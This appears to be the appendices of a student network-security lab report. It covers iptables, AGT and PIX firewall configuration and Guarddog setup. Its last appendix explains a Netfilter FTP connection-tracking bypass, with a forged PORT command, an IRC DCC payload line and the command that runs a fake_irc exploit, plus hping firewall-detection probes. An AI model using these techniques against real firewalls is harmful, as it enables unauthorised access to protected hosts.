Virtual IP
Addresses
172.16.3.0/24:103
.1
172.16.4.0/24:104
.2
172.16.7.0/24:107
172.16.2.0/24:102
#9
.1
.1
Gateway-rtr
Cisco 1760-K9
.2
12
172.16.5.0/24:105
Goodisp-dns
Dell Poweredge
.18
OSPF 0
.34
#27
Cust1-intr2-rtr
Cisco 1760
.2
75.196.15.0/30:157
64.0.1.32/28:151
.1
.1
192.168.30.0/24:154
.33
.1
EBGP
Cust1-hq-rtr
Cisco 1760-K9+NAT
.254
.49
64.0.1.48/30:150
Goodisp-rtr
Cisco 3550-24-EMI (L3)
.1
Cust1-intr1-rtr
Cisco 1760
.1
#23
199.77.32.0/30:300
OSPF 0
#7
.1
.1
Cust1-site2-rtr
Cisco 1760-K9+NAT
64.0.1.16/28:152
.17
Web Server
Redhat Apache
172.16.2.99
172.16.8.0/24:108
.1
#26
Cust1-site1-rtr
Cisco 1760-K9+NAT
64.0.2.0/24:153
.2
212.43.0.0/24:100
#10
.1
Engineering-rtr
Cisco 1760
OSPF 1
75.196.17.0/24:159
.1
#25
R2
.2
.1
.1
#8
Edge-fwall
.4
Cisco PIX-515E
75.196.18.0/24:160
192.168.20.0/24:164
.13
Edge2-rtr
Cisco 1760-K9
.1
.1
192.168.10.0/24:163
192.168.20.0/24:162
S2
.2
.1
R1
Enterprise-dns
Dell Poweredge
.2
Honeynet
192.168.10.0/24:161
.10
192.168.0.0/24:101
.3
172.16.6.0/24:106
BGP
OSPF
RIP
Autonomous System
75.196.14.0/30:156
.1
EBGP
75.196.16.0/24:158
OSPF 0
.254
.2
.1
#28
.50
#29
75.196.10.0/24:155
199.107.254.252/30:304
Edge1-rtr
Cisco 1760-K9
R9
EBGP
.99
“ENTERPRISE”
AS 64800
.253
“TIER 1 - omega”
AS 64514
“UNIVERSITY”
AS 64900
.10
XP honeypot
S4
Redhat honeypot
Honeynet
Bridge
.1
.1
EBGP
#14
PW R
WI C0
AC T/ CH 0
WIC 0
AC T/ CH0
ET H
ACT
OK
ACT /CH 1
ACT /CH 1
COL
Admin-vpn
Cisco VPN
Conc. 3005
.254
.43
R7
199.110.254.40/30:307
.1
.42
.1
.5
138.210.231.0/24:201
Admin-rtr
Cisco 1760-K9
.2
.1
#17
.1
S2
.2
.1
138.210.232.0/24:202
.1
.1
.18
.1
138.210.233.0/24:203
.1
#20
57.35.5.0/24:258
Cust2-rtr
Cisco 1760 .1
57.35.10.0/24:260
OSPF 0
57.35.3.0/24:256
R5
S3
.100
138.210.235.0/24:205
.1
138.210.236.0/24:206
57.35.0.16/30:252
StorageRus-rtr
1760-K9
#19
.1
.2
#18
.254
Badisp-dns
Dell Poweredge
57.35.0.0/30:253
University-dns
Dell Poweredge
.1
S2
57.35.7.0/24:250
#15
.17
Badisp-rtr
Cisco 3550-24-EMI (L3)
192.168.110.0/24:209
CS2-rtr
Cisco 1760
.1
EBGP
.1
138.210.234.0/24:204
CS Webserver
CS Ftp Server
Redhat Apache
Redhat
http://www.cc.university.edu
“BAD ISP”
AS 64700
Sigma2-rtr
Cisco 2621-XM
EBGP
.2
.4
138.210.238.0/24:208
.42
#4
.1
“GOOD ISP”
AS 64600
“TIER 1 - Sigma”
AS 64515
S2
.41
.34
138.210.251.0/24:200
#22
R4
.254
Root1-dns
Dell Poweredge
.17
.242
199.77.33.0/30:303
.1
#16
138.210.237.0/24:207
IBGP
199.77.30.16/30:306
138.210.240.0/24:210
.1
Gateway2-rtr
Cisco 3550-24-EMI (L3)
CS-rtr
Cisco 1760
.3
#3
.2
Sigma1-rtr .18
Cisco 2621-XM
199.77.250.240/30:302
Cust1 Webserver
Redhat Apache
http://www.cust1.com
199.107.12.0/24:305
62.7.200.32/30:309
138.210.228.0/24:211
HUB
S4
#2
.241
Omega-rtr
Cisco 2621-XM
.253
.1
199.77.31.0/30:301
EBGP
S4
.11
.33
.1
.151
R3
University Webserver
Redhat Apache
http://www.university.edu
.1
EBGP
62.7.245.252/30:308
Admin Webserver
MS IIS
http://www.admin.university.edu
.10
NAS
Dell Network
Attached Storage
RIP
50
.16
57.35.6.0/24:259
.8
S5
Viz
.9
Printer
.11 - .200
W1 ...
… W24
.5
TA1
R6
StorageRus Webserver
MS IIS
http://www.storagerus.com
57.35.4.0/24:257
Appendix A
iptables.firewall
#load the iptables modules and connection tracking for ftp and nat
modprobe ip_tables
modprobe iptable_nat
modprobe ip_conntrack_ftp
modprobe ip_nat_ftp
# Configure default policies (-P), meaning default rule to apply if no
# more specific rule below is applicable. These rules apply if a more
specific
# rule below is not applicable. Defaults are to DROP anything sent to
firewall or
# internal network, permit anything going out.
iptables -P INPUT DROP
iptables -P FORWARD DROP
iptables -P OUTPUT ACCEPT
# Flush (-F) all specific rules
iptables -F INPUT
iptables -F FORWARD
iptables -F OUTPUT
iptables -F -t nat
iptables -A INPUT -d 131.210.231.1 -p tcp --dport 23 -j LOG --log-prefix
'TELNET ATTEMPT: '
# The rest of this file contains specific rules that are applied in the order
# listed. If none applies, then the above policy rules are used.
# Forward all packets from vmnet1 (internal network) to vmnet2 (the
internet).
iptables -A FORWARD -i vmnet1 -o vmnet2 -j ACCEPT
# Forward packets that are part of existing and related connections from
# vmnet2 to vmnet1.
iptables -A FORWARD -i vmnet2 -o vmnet1 -m state --state ESTABLISHED,RELATED
-j ACCEPT
# Permit packets in to firewall itself that are part of existing and related
# connections.
iptables -A INPUT -i vmnet2 -m state --state ESTABLISHED,RELATED -j ACCEPT
#
#
#
#
#
Note, in the above two rules, a connection becomes ESTABLISHED in the
iptables PREROUTING chain upon receipt of a SYNACK packet that is a
response to a previously sent SYN packet. The SYNACK packet itself is
considered to be part of the established connection, so no special
rule is needed to allow the SYNACK packet itself.
# Allow all inputs to firewall from the internal network and local interfaces
iptables -A INPUT -i vmnet1 -s 0/0 -d 0/0 -j ACCEPT
iptables -A INPUT -i lo -s 0/0 -d 0/0 -j ACCEPT
51
# Alternative to SNAT -- MASQUERADE
#
# If your firewall has a dynamic IP number because it connects to the
# internet itself via DHCP, then you probably cannot predict what the IP
# number is of your firewall's interface connected to the internet. In
# this case, you need a rule like the following that assigns the (an) IP
# number associated with vmnet2 to outgoing connections without you needing
# to know in advance (at time of writing this rule) what that IP number is:
#
iptables -A POSTROUTING -t nat -o vmnet2 -j MASQUERADE
# Deny any packet coming in on the public internet interface vmnet2
# which has a spoofed source address from our local networks:
iptables -A INPUT -i vmnet2 -s 192.168.0.0/24 -j DROP
iptables -A INPUT -i vmnet2 -s 127.0.0.0/8 -j DROP
# If you query a particular remote DNS server, permit UDP responses from it
#iptables -A INPUT -p udp -s <remote DNS server IP> --source-port 53 -d 0/0 j ACCEPT
#prevent DoS by icmp flood
iptables -A INPUT -p icmp --icmp-type echo-request -m limit --limit 30/minute
--limit-burst 1 -j ACCEPT
#prevent DoS by tcp syn flood
iptables -A INPUT -p tcp --syn -m limit --limit 1/s --limit-burst 1 -j ACCEPT
#forward all http packets (port 80) to internal linux machine
iptables -A PREROUTING -t nat -d 0/0 -p tcp --dport 80 -j DNAT --to
192.168.0.10:80
iptables -A FORWARD -i vmnet2 -p tcp --dport 80 -j ACCEPT
#forward all ssh packets (port 22) to internal linux machine
iptables -t nat -A PREROUTING -d 131.210.231.1 -p tcp --dport 22 -j DNAT --to
192.168.0.10:22
iptables -A FORWARD -i vmnet2 -p tcp --dport 22 -j ACCEPT
# turn on ip forwarding in case it wasn't already enabled
echo "1" > /proc/sys/net/ipv4/ip_forward
52
Appendix B
Troubleshooting installation.
Getting rid of ipchains:
If your iptables script won’t correctly execute, and it gives an error about the device being busy then
follow these steps. In order for iptables to work, ipchains must be turned off.
First of all you will need to turn off the ipchains modules so it won't start in the future. To do this, you
will need to change some filenames in the /etc/rc.d/ directory-structure. The following command should
do it:
chkconfig --level 0123456 ipchains off
To turn the service off immediately however, type the following:
service ipchains stop
53
Appendix C
Reference Websites:
Differences Between iptables and ipchains:
• http://www.netfilter.org/documentation/HOWTO/packet-filtering-HOWTO-10.html
Small History of Filtering Under Linux:
• http://www.geekcomix.com/cgibin/classnotes/wiki.pl?UNIX03/Ipchains_And_Iptables__Small_History_Of_Filtering_Under_Linux
Packet Filtering with Linux:
• http://www.linuxfocus.org/English/May2003/article289.shtml
A Comparison of iptables Automation Tools:
• http://online.securityfocus.com/infocus/1410
The last website is an article that compares some popular automation tools for iptables.
While researching the web for Q3.10 of Lab 6, one of the reasons we found that companies
do not use iptables more often is that it is strictly command line driven and that Cisco offers
users an easier to use interface (as well as the traditional Cisco command line). We felt that
more users might be willing to use iptables if there was an easier to use interface or a tool
that could automate setting the firewall rules. On the website
“http://online.securityfocus.com/infocus/1410” we looked at one such tool called AGT.
AGT is downloadable from “http://sourceforge.net/projects/agt” and is very easy to install. It
is downloaded as a gzipped tarball package that can be extracted by running the command
# tar –xvfz agt-1.11.tar.gz
Then cd into the agt-1.11 directory and issue a “make” command followed by a “make
install” command.
Once installed, the program runs from /usr/sbin/agt and the configuration file is at
/etc/agt.rules. The program comes with full man pages as well.
Due to the fact that the program needs a Linux installation with iptables running on it and it
need access to more than one network in order to configure the firewall/gateway settings, this
install would have been better suited to install on the iptables lab machine. However we did
not have permission to do that so we installed it on our Linux host WS 4.0 workstation. To
demonstrate some of it’s functionality we will take a look at a sample agt.rules file and point
out some of the useful commands contained within it. The entire age.rules file is attached to
this answer sheet as an appendix.
In the first section, you can see that by default all incoming packets are dropped and all
output and forward packets are accepted, shown by:
54
default input
default output
default forward
drop
accept
accept
In configuration files such as this, the first few commands will configure a “blanket” set of
rules and the subsequent commands will tailor the rules more specifically. That way if a
specific rules later in the file fails, the default will still protect your network.
For trusted networks you can accept network traffic on specific interfaces with the command:
input accept on eth1 from internal/24
input accept on eth1 from 10.2.0.0/16 # or whatever your network is
Since telnet is such a dangerous program to use (as illustrated in previous labs) it is often a
good idea not to allow it into your firewall:
input mirror on eth0 proto tcp port telnet
And follow that up with:
input accept on eth+ proto tcp port ssh
Other important features of this file are the restriction that it can place during specific times
like allowing IRC during lunchtime, CVS access on the weekends, etc. This gives
administrators more control on employees and what they can do and when.
While the underlying functionality of AGT is still iptables, and the user cannot do anything
with AGT that they cannot do with iptables, we feel that this type of program is more
intuitive than issuing the standard iptables commands like we did in our lab. This type of
configuration is also easier in the sense that everything is contained in a configuration file
where you can see all of your rules in one place rather than issuing single commands to
iptables. Furthermore, this is just one example of a Linux firewall interface, there are other
programs such as Knetfilter [http://expansa.sns.it/knetfilter/] that offer a full GUI interface to
iptables that runs in KDE. A full GUI interface to iptables may not be that useful however
because most administrators that use Linux for firewalls are doing so because they can run it
on a very small machine that probably has limited resources and cannot handle X11 windows
and KDE. But the point remains valid that there are alternatives to the traditional iptables
command line interface that can make the Linux based firewall more appealing to users that
cannot afford Cisco or other brands.
55
Member agt-1.11/etc/agt.rules.sample of archive agt1.11.tar.gz:
#
#
#
#
#
#
#
#
#
#
#
#
#
#
#
#
#
#
#
#
#
/etc/agt.rules
This is a fairly comprehensive guide to the options supported
and recognised by AGT.
This DOES NOT mean that your kernel will support them however!
Some options require specific modules to be loaded. (mport, MIRROR, etc)
Experiment with this file, it should be fairly simple to tailor to
your network and needs. (i hope!)
This file assumes some knowledge of netfilter/iptables.
Some of the options in this example configuration appear to be
unrealistic, and seem to contradict other options, but this file
is designed to be used as a *guide* only, not actually used!
You WILL have problems if you directly use this file!
$Id: agt.rules.sample,v 1.2 2003/04/29 04:49:06 ajg Exp $
# masquerade these networks (can be defined in /etc/networks)
nat from internal/24
nat from 10.2.0.0/16
# port forward port 80 to 8080 on an internal machine.
portfw proto tcp port 80 to 192.168.0.2:8080
# nat these private IP's to real IP's
# the gateway has to have the real IP's aliased on an interface.
# this is bi-directional.
nat from 10.2.0.5 to 123.123.123.5
nat from 10.2.0.6 to 111.222.123.100
# ----------------------------# create a new chain called 'mynewchain'
new mynewchain
# be paranoid by default, drop all incoming packets
default input
drop
default output accept
default forward accept
# forward packets during weekdays, allow 1 machine all of the time
forward accept from 10.0.0.0/8 days Mon,Tue,Wed,Thu,Fri
forward accept from 10.0.0.20
forward drop
56
# for compatibilty, allow loopback :P
input accept on lo
# enable stateful packet tracking
input accept on eth+ keep state
# these networks are trusted, accept all traffic
input accept on eth1 from internal/24
input accept on eth1 from 10.2.0.0/16
# only allow root to send packets through eth0
# options include uid/gid/pid/sid
output accept on eth0 owner uid root
output drop
on eth0
# bounce telnet on eth0 back to the sender...
# READ THE ADVISORIES BEFORE USING MIRROR TARGETS!
# Improper use can lead to certain types of Denial of Service.
input mirror on eth0 proto tcp port telnet
# drop packets that seem to be invalid
input drop invalid
# we don't want broadcast packets (types = host/broadcast/multicast)
input drop on eth0 pkttype broadcast
# match strange looking packets
input drop unclean
# allow ssh on any interface
input accept on eth+ proto tcp port ssh
# only allow staff to telnet during office hours
# (cp /usr/bin/telnet /home/myname/blah can bypass this)
output drop cmd telnet group staff time-start 09:00 time-stop 17:00 days
Mon,Tue,Wed,Thu,Fri
# allow irc at lunchtime
output accept port 6667 time-start 12:00 time-stop 13:00
output drop port 6667
# allow cvs access at the weekend
input accept port 2401 days Sat,Sun
input drop port 2401
# allow incoming ftp on Monday and Thursday
input accept port ftp days Mon,Fri
input drop port ftp
# stop all connections for 30 minutes on Friday night
input drop time-start 22:00 time-stop 22:30 days Fri
# match based on packet length >50 but <120
input accept on eth+ proto tcp port 3000 length 50:120
# allow 512000 bytes before dropping
input accept on eth+ proto tcp port http quota 512000
57
input drop
on eth+ proto tcp port http
# only allow 5 active ftp connections at once
input drop on eth0 proto tcp port ftp limit 5 flags SYN
# match this host's MAC address
input accept on eth+ proto tcp port https mac 00:DE:AD:BE:EF:00
# match ftp, note that 'port' is equal to 'dport'
input accept on eth+ proto tcp dport ftp
# match multiple ports in one rule.
input accept on eth+ proto tcp ports imap,imaps
# allow connections to port 10000, if coming from port 4300
input accept on eth+ proto tcp port 10000 sport 4300
# allow 1 host to connect to our vpn :P
input accept on eth+ proto tcp port pptp from host.somedomain.com
# allow gre on any interface
input accept on eth+ proto gre
# block 50% of incoming pings, randomly. allow other icmp
# valid icmp types obtained by running 'iptables -p icmp -h'
# icmp-type is an alias for icmptype
input drop
on eth0 proto icmp icmptype echo-request random 50
input accept on eth+ proto icmp
# not matched? close the TCP connection with a RST, others with host
unreachable
# valid 'with' options obtained by running 'iptables -j REJECT -h'
input reject on eth+ proto tcp with tcp-reset
input reject on eth+ with host-unreach
58
Appendix D
Commands for maintaining and testing the PIX Firewall.
•
•
•
•
•
•
•
•
•
enable – If the password is known, the enable command allows a user to enter privileged
mode. After entering enable, the PIX Firewall will prompt the user for the privileged
mode password. To exit and return to the previous mode, use the disable, exit, or quit
command. The command to set this password is enable password password. The
password is encrypted within the configuration file.
configure terminal – It you want to interactively change the configuration of the PIX,
issue the configure terminal command. Any added configuration parameters are merged
with the existing running configuration. When making a configuration change to the PIX,
the change takes effect immediately and is saved in the running configuration in RAM.
show configure – This displays the configuration that is stored in Flash memory
(sometimes called the "startup configuration") on the terminal. Because Flash is nonvolatile, the configuration that is stored there is not removed if the PIX loses power or is
reloaded. The startup configuration is what the PIX loads to RAM during bootup.
show interface – The show interface command enables users to view information about
the interface. Ethernet, Token Ring, and FDDI information is displayed, depending on
which is installed on the PIX Firewall. This is one of the first commands to input when
trying to establish connectivity.
write terminal – Displays the running configuration (sometimes called the current
configuration) on the terminal. This configuration is stored in RAM.
write net – Stores the running configuration file on a TFTP server. It is good practice to
keep a backup of all configuration files offline. When a server IF address and a file path
are assigned, the running configuration is stored to a specific location.
write erase – This clears the configuration file that is in Flash memory.
write memory – Any change that is made to the PIX takes effect immediately. The
change is written to the running configuration in RAM. If a change is meant to be kept on
the PIX, it should be saved to Flash memory using the write memory command. The use
of this command will replace the existing configuration in Flash with the configuration in
RAM. The configuration in RAM remains unchanged. Processing continues during the
write memory command, but the write memory command is not disruptive to the
processing of the PIX. You cannot make changes to the configuration while the write
memory command is executing.
show ip address – The show ip address command enables a user to view which IP
addresses have been assigned to the network interfaces. In the displayed output, the
current IP addresses are the same as the system IP addresses on the failover active unit.
59
Appendix E
Basic configuration commands of the PIX interface
nameif Command
The command nameif assigns a name to each interface on the PIX Firewall and specifies
its security level (except for the inside and outside PIX Firewall interfaces, which are
named by default).
NOTE – With the default configuration, Ethernet0 is named “outside” with a security
level of 0 and Ethernetl is named “inside” and is assigned a security level of 100.
nameif hardware_id if_name
security_level
hardware_id: Specifies a perimeter interface and its physical location on the PIX
Firewall.
if-name: Assigns a name to the physical perimeter interface. This name is assigned by
the you, and must be used in all future configuration references to the perimeter interface.
By default, el is the "inside" and e0 is the "outside."
security_level Indicates the security level for the perimeter interface. Enter a security
level of 1-99.
interface. Command
The interface command identifies the type of hardware, sets the hardware speed, and
enables the interface. When an additional Ethernet interface card is installed on the PIX
Firewall, the PIX Firewall automatically recognizes the additional card.
interface hardware_id [hardware_speed] [shutdown]
[] indicates optional commands
hardware_id Specifies an interface and its physical location on the PIX Firewall. This is
the same variable that was used with the nameif command.
hardware_speed Determines the connection speed. Enter auto so the PIX Firewall can
sense the speed needed for the device.
shutdown Administratively shuts down the interface.
ip address Command
Each interface on the PIX Firewall must be configured with an IP address. After
configuring the IP address and netmask, it is common to use the show ip command to
view which addresses are assigned to the network interfaces. If a mistake is found,
reenter the command with the correct information.
ip address if_name ip_address [netmask]
.
Source: Chapman, D. W. and Fox, A., Cisco Secure PIX Firewalls, Cisco Press. 2002
60
if-name Describes the interface. This name is assigned by the user and must be used in
all future configuration references to the interface.
ip_address The assigned IF address of the interface.
netmask If a network mask is not specified, the classful network mask is
assumed:
Class A: 255.0.0.0
Class B: 255.255.0.0
Class C: 255.255.255.0
nat Command
Network Address Translation (NAT) enables the user to keep internal IP addresses (those
behind the PIX Firewall) unknown to external networks. As an example, when
connecting to the Internet or other foreign network, the nat command accomplishes this
by translating the internal, unregistered IP addresses, which do not have to be globally
unique, into registered, globally accepted IP addresses before packets are forwarded to
the external network. With the exception of nat 0, the nat command is always used with
the global command.
nat (if_name)nat_id local_ip [netmaskl
(if-name) Describes the internal network interface name that will use global addresses.
Data will exit the PIX through the interface specified in the global command.
nat_id Identifies the global pool and matches it with its respective global command.
local_ip The IP address(es) assigned to the devices on the inside network. 0.0.0.0 may be
used to allow all outbound connections to translate with IP addresses from the global
pool.
netmask Network mask for the local IP address.
When initially configuring the PIX Firewall, all inside hosts can be enabled to access
outbound connections with the nat 1 0.0.0.0 0.0.0.0 command. The nat 1 0.0.0.0 0.0.0.0
command enables NAT and lets all inside hosts (specified as 0.0.0.0) access connections
that are bound to the corresponding global command. The nat command can specify a
single or range of hosts to make access more selective. When configuring, 0 can be used
in place of 0.0.0.0.
global Command
When sending data from a trusted network to an untrusted network, the source IP address
is often translated. The PIX can do this with two commands. The first command is nat,
which defines the trusted source addresses to be translated. The command that is used to
define the address or range of addresses that the source address will become is the global
command.
global [(if_name)] nat_id {global_ip [-global_ip] [netmask global_mask]}
61
if-name Describes the external network interface name where you will use the global
addresses.
nat _id Identifies the global pool and matches it with its respective nat command.
interface Have the PIX translate alllP addresses specified by the nat command to the
interface specified.
global_ip Single IP addresses or the beginning IP address for a range of globallP
addresses.
-global_ip A range of globallP addresses.
netmask global The network mask for the globallP. If subnetting is in effect, use the
subnet mask.
When an outbound IP packet that is sent from a device on the inside network reaches the
PIX Firewall, the source address is extracted and compared to an internal table of existing
translations. If the device's address is not already in the table, it is then translated. A new
entry is created for that device and it is assigned a global IP address from a pool of global
IP addresses. This is called a translation slot. After this translation occurs, the table is
updated and the translated IP packet is forwarded.
Figure 3-B-1 – NAT with PIX
route Command
62
The route command defines a static route for an interface. The route statement may have
a specific destination, or a default static route may be created.
route if_name ip_address netmask gateway_ip
if-name Describes the internal or external network interface name. Data will exit
from the PIX through this interface.
ip_address Describes the destination internal or external network IP address. Use 0.0.0.0
to specify a default route (all destination networks). The 0.0.0.0 IP address can be
abbreviated as 0.
netmask Specifies a network mask to apply to ip_address. Use 0.0.0.0 to specify a default
route. The 0.0.0.0 netmask can be abbreviated as 0. It is common to have one default
route.
gateway _ip Specifies the IP address of the gateway router (the next-hop address for this
route).
static∗ Command
Provides a global IP address on a lower security interface, such as outside, that is mapped
to a higher security interface, such as a DMZ server on the DMZ interface.
static (high_interface,low_interface) low_address high_address netmask netmask
high_interface The local or higher security interface
low_interface The global or lower security interface.
low_address The IP address for the machine on the low security interface.
high_address The local IP address for the machine on the high security interface.
netmask The network mask pertains to both low_address and high_address. Use a
netmask of 255.255.255.255 when low_address is a host even if subnetting is in place, or
specify the correct mask if low_address is a network address
Example
static (dmz3,outside) 209.165.201.3 192.168.3.3 netmask 255.255.255.255
Makes up the 209.165.201.3 address on the outside interface that is mapped to the
192.165.201.3 address on the DMZ interface.
∗
Source: http://www.cisco.com/univercd/cc/td/doc/product/iaabu/pix/pix_sw/v_53/config/
63
access-list∗ Command
The access-list command lets the outside users access the IP address that you provided
for mapping to the internal resource.
access-list acl_ID [deny | permit] protocol source_addr source_mask operator port
destination_addr destination_mask operator port
acl_ID Name of an access list. You can use either a name or number.
deny When used with the access-group command, the deny option does not allow a
packet to traverse the PIX Firewall. By default, PIX Firewall denies all inbound or
outbound packets unless you specifically permit access.
permit When used with the access-group command, the permit option selects a packet to
traverse the PIX Firewall. By default, PIX Firewall denies all inbound or outbound
packets unless you specifically permit access.
protocol It can be one of the keywords icmp, ip, tcp, or udp
source_addr A host or network address for on the lower security level interface, such as
outside, that need to access the destinations, which is the global IP address provided in
the static command. Use any for the source_address to let any host access the
destination_address. If you specify a single host, precede the address with host; for
example host 192.168.1.2. If you specify a network address, also specify a network mask;
for example, 192.168.1.0 255.255.255.0.
source_netmask Netmask of the source address. Use host address as an abbreviation for
a mask of 255.255.255.255.
destination_addr A host or network global address that you specified with the static
command statement. This is the global IP address on the lower security interface, in the
static command that maps to the higher security address. For a host address, precede the
address with host; for networks, specify the network address and the appropriate network
mask.
destination_mask Netmask for the destination address.
operator A comparison operand that lets you specify a port or a port range. Use without
an operator and port to indicate all ports; for example:
access-list acl_out permit tcp any host 209.165.201.1
∗
Source: http://www.cisco.com/univercd/cc/td/doc/product/iaabu/pix/pix_sw/v_53/config/
64
port Services you permit or deny access to. Specify services by the port that handles it,
such as smtp for port 25, www for port 80, and so on. You can specify ports by either a
literal name or a number in the range of 0 to 65535.
After defining an Access list, you need to bind that list to an interface. The access-group
command allows you to do that.
access-group∗ Command
The access-group command binds an access list to an interface. The access list is applied
to traffic inbound on an interface. If you enter the permit option in an access-list
command statement, the PIX Firewall continues to process the packet. If you enter the
deny option in an access-list command statement, PIX Firewall discards the packet.
access-group acl_ID in interface interface_name
acl_ID The name associated with a given access list.
in interface Filter on inbound packets at the given interface.
interface_name The name of the network interface from which the packets are to
be permitted or denied.
Example:
static (inside,management) 10.1.1.15 10.1.1.15 netmask
255.255.255.255
access-list from-management-coming-in permit tcp host 10.2.2.2
host 10.1.1.15 eq 8888
access-group from-management-coming-in in interface management
∗
Source: http://www.cisco.com/univercd/cc/td/doc/product/iaabu/pix/pix_sw/v_53/config/
65
Appendix F
Guarddog is a powerful GUI environment based on iptables which greatly simplifies the use and
functionalities of iptables.
Installation of the program:
1. Go to this site: http://www.simonzone.com/software/guarddog/
2. Click on the Download tab
3. Download the RPM file under RedHat 9: 2.2.0 RPM: guarddog-2.2.0-1rh9.i386.rpm
4. To install the program, type: “rpm –Uvh guarddog-2.2.0-1rh9.i386.rpm”
5. Reboot to start the script.
To start Guarddog after reboot, type guarddog and a GUI interface will appear.
Section 1: Protocols
To specify a protocol, click on the protocol tab in the Guarddog GUI and expand Network. Click
on the check box beside the desired protocol once to permit the protocol and click again to reject
the selected protocol.
For example: clicking the check box beside the ‘Ping’ twice rejects all pings.
Figure 1. Ping box checked twice
66
Figure 2. Linux 7.2 tried to ping to workstation and failed.
All protocols are listed on the protocols tabs and can be blocked or permitted as desired. Once
pings are set to “reject,” a ping attempt from the 7.2 machine is unsuccessful, as shown in Figure
2.
Section 2: Port Blocking
To block specific ports using guarddog, click on the Advanced tab, and then select New
Protocol. Enter a name for the new protocol (eg. “PortBlock”), and enter the port on which it will
be active (eg. “1000”). Now go back to the “Protocol” tab and expand the User Defined group.
The new protocol that you just created should be visible here, and you will have the freedom to
block / permit any activity on that port.
Section 3: Creating Zones
At one point the lab required the creation of a “De-Militarized Zone”. This can be accomplished
using Guarddog by clicking “Zones” and clicking “New Zone”. Name the zone “DMZ” and
assign the address range and security protocols as necessary for this zone.
This GUI environment greatly simplifies and would hasten progress in many sections of the lab.
Therefore, it would be useful to replace all sections of the lab that use iptables, with fresh
instructions on the use of Guarddog.
67
Appendix G
1. Linux Firewall exploit
Most firewalls do not usually allow any connections except FTP control connections to
an FTP server port (TCP port 21 by default) for network security. However, as long as a file
is transferred, they accept the data connection temporarily. To do this, a firewall tracks the
control connection state and detects the command related to file transfer. This is called
stateful inspection. The attack described here will make a firewall allow an illegal connection
by deceiving its connection tracking using a forged FTP command. This attack is described
in detail in the Phrack article
http://www.phrack.org/phrack/63/p63-0x13_Breaking_Through_a_Firewall.txt
An attacker can transmit a PORT command without the character <CR> in the end of the
line. The command line has only <LF> in the end.
An example is "PORT 192,168,100,100,26,11\n".
On the contrary, a standard FTP command has <CRLF> sequence to denote the end of a
line. If the module ip_conntrack_ftp receives a nonstandard PORT command of this type, it
first detects a command and finds the character <CR> for the parsing. Because it cannot be
found, ip_conntrack_ftp regards this as a "partial" command and drops the packet.
Just before this action, ip_conntrack_ftp anticipated the sequence number of a packet that
contains the next FTP command line and updated the associated information. This number is
calculated based on the TCP sequence number and the data length of the "partial" PORT
command packet.
However, a TCP client, afterwards, usually retransmits the identical PORT command
packet since the corresponding reply is not arrived at the client. In this case, ip_conntrack_ftp
does NOT consider this retransmitted packet as an FTP command because its sequence
number is different from that of the next FTP command anticipated. From the point of view
of ip_conntrack_ftp, the packet has a "wrong" sequence number position.
The module ip_conntrack_ftp just accepts the packet without analyzing this command. The
FTP server can eventually receive the retransmitted packet from the attacker.
Although ip_conntrack_ftp regards this "partial" command as INVALID, some FTP
servers such as wu-FTP and IIS FTP conversely consider this PORT command without
<CR> as VALID. In conclusion, the firewall, in this case, fails to "expect" the FTP data
connection.
And when the attacker sends a RETR command to download a file from the server, the
server initiates to connect to the TCP port number, specified in the partial PORT command,
on the attacker's host.
Suppose that the TCP port number is 6667(IRC server port), the firewall accepts this
connection under the stateless packet filtering rule that allows IRC connections instead of the
stateful filtering rule. So the IP connection-tracking module mistakes the connection for IRC.
In conclusion, the attacker is able to illegally connect to any TCP port on the FTP server
that the Netfilter firewall box protects.
We had to take the following additional steps to make the exploit work on the Redhat 7.2
machine
• Start/Flush iptables
/etc/init.d/iptables restart
• Setup connection tracking
modprobe ip_conntrack_ftp
68
modprobe ip_conntrack_irc
•
Setup state full filtering
•
Create the irc command file irc.txt which contains the DCC command
iptables -A FORWARD -m state – state ESTABLISHED, RELATED -j ACCEPT
\1DCC CHAT t 3232236548
6667\1\n
Compile fake_irc.c and run it using the following command
./fake_irc 57.35.6.142 6667 ece4112 password /home/ece4112/irc.txt
We have attached the output from the execution of the program.
The Phrack article talks about two other exploits that work on the linux 2.4 kernel netfilter
module.
•
2. Firewall spotting
Here is an interesting article that we came across.
http://www.phrack.org/phrack/60/p60-0x0c.txt
It describes how to spot a packet filtering firewall is in place. It works on the principle
that almost every available firewall does not check for a valid CRC before checking the
destination port/address.
A complete network stack will drop invalid packets without response. No matter if that
port is closed, open or whatever... But Packet Filters aren't so smart and they will reply.If
we want to determine if there is a packet filter between us and a target host we must first
check if the packet filter is configured to drop the packets or to send back an error. For
this we send a valid tcp packet to any port that is supposed to be filtered:
# telnet www.oracle.com 31337
Trying 148.87.9.44...
telnet: Unable to connect to remote host: Connection refused
Good. Either the target host itself or a packet filter sends back a RST. Next step is to
check if the RST comes from the target host or from a packet filter:
# hping -S -c 1 -p 31337 -b www.oracle.com
HPING www.oracle.com (rl0 148.87.9.44): S set, 40 headers + 0 data bytes
len=46 ip=148.87.9.44 flags=RA seq=0 ttl=23 id=52897 win=512 rtt=459.8 ms
If we get a reply we know that a packet filter is in place. If we dont get a reply we
suspect that the packet arrives unfiltered at the destination host and is dropped by the
TCP stack (e.g. no packet filter is in place).
Another technique to detect the existence of a packet filter is to compare the TTL of a
RST and a SYN (which comes directly from the target host). The TTL-technique fails for
all packet filters in bridging mode or filters that do not decrease the TTL and are placed
directly in front of the target host (normal DMZ setup). The CRC-technique as described
above on the other hand detects a packet filtering device in both cases.
3. Windows firewall’s exploits
69
Windows Firewall is not as secure as MS would want you to believe. Windows
Firewall only blocks or patrols incoming traffic and it can be easily turned off by another
application, possibly a worm. We will look at how well Windows Firewall does at
blocking incoming traffic by pinning it against several tests which scan for open ports
and possible exploits. The tests, provided by PCFlank.com, include a Stealth Test, an
Advanced Port Scanner test and an Exploit Test. The tests were run on a system running
Windows XP with Service Pack 2. Based on their results, windows pass the Stealth Test
and possible exploits, but it failed with an Advanced Port Scanner test.
The stealth test checks to see if your computer is visible to the outside by sending
packets to TCP:1 port on your machine. A good firewall should stealth your system from
this connection attempt. The results show windows firewall passes this test.
The Advanced Port Scanner tests your system for open ports. This can be used in
attacks on your computer. There are two types of port scans which are TCP connect
scanning and TCP SYN scanning. TCP connect scanning is the basic for of TCP
scanning. TCP SYN scanning is also known as "half-open" scanning, because the scanner
doesn't open a full TCP connection. The scanner sends a SYN packet, as if it is going to
open a real connection and waits for a response. A good firewall will not report any open
ports.
According to the results Windows Firewall failed to stealth all of the ports
scanned. Ports 135, 137, 138 and 139 were reported as closed when ideally a firewall
should stealth all ports. When a port is reported as closed, this means that the port exists,
therefore the system exist at that IP.
